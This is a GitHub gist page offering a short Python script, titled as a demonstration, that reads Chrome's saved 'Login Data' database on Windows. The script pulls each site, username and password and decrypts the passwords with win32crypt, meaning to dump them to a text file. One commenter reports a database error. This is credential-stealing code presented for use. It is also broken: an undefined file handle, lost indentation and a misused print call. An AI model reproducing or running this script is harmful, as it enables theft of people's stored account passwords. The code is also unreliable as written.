Skip to content

Instantly share code, notes, and snippets.

What would you like to do?
Extracting Chrome Passwords with Python | Demonstration for
# os and sqlite3 ships with Python by default. If you get import errors for win32crypt use "pip install pypiwin32" to install the dependency.
import os, sqlite3, win32crypt
# Automatically get the logged in user's default folder
data = os.path.expanduser('~')+"\AppData\Local\Google\Chrome\User Data\Default\Login Data"
# Connect to Login Data database
connection = sqlite3.connect(data)
cursor = connection.cursor()
# Query the values of interest to us
cursor.execute('SELECT action_url, username_value, password_value FROM logins')
final_data = cursor.fetchall()
print("Found {} passwords...").format(str(len(final_data)))
write_file.write("User login data extracted: \n\n")
# Iterating through all the values found...
for chrome_logins in final_data:
password = win32crypt.CryptUnprotectData(chrome_logins[2], None, None, None, 0)[1]
site = "Website: " + str(chrome_logins[0])
username = "Username: " + str(chrome_logins[1])
password = "Password: " +str(password)
print("Saved to chrome.txt")

This comment has been minimized.

Copy link

commented Jun 17, 2019

I'm getting this error.

Unable to open database file. Can you provide any solution?


Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.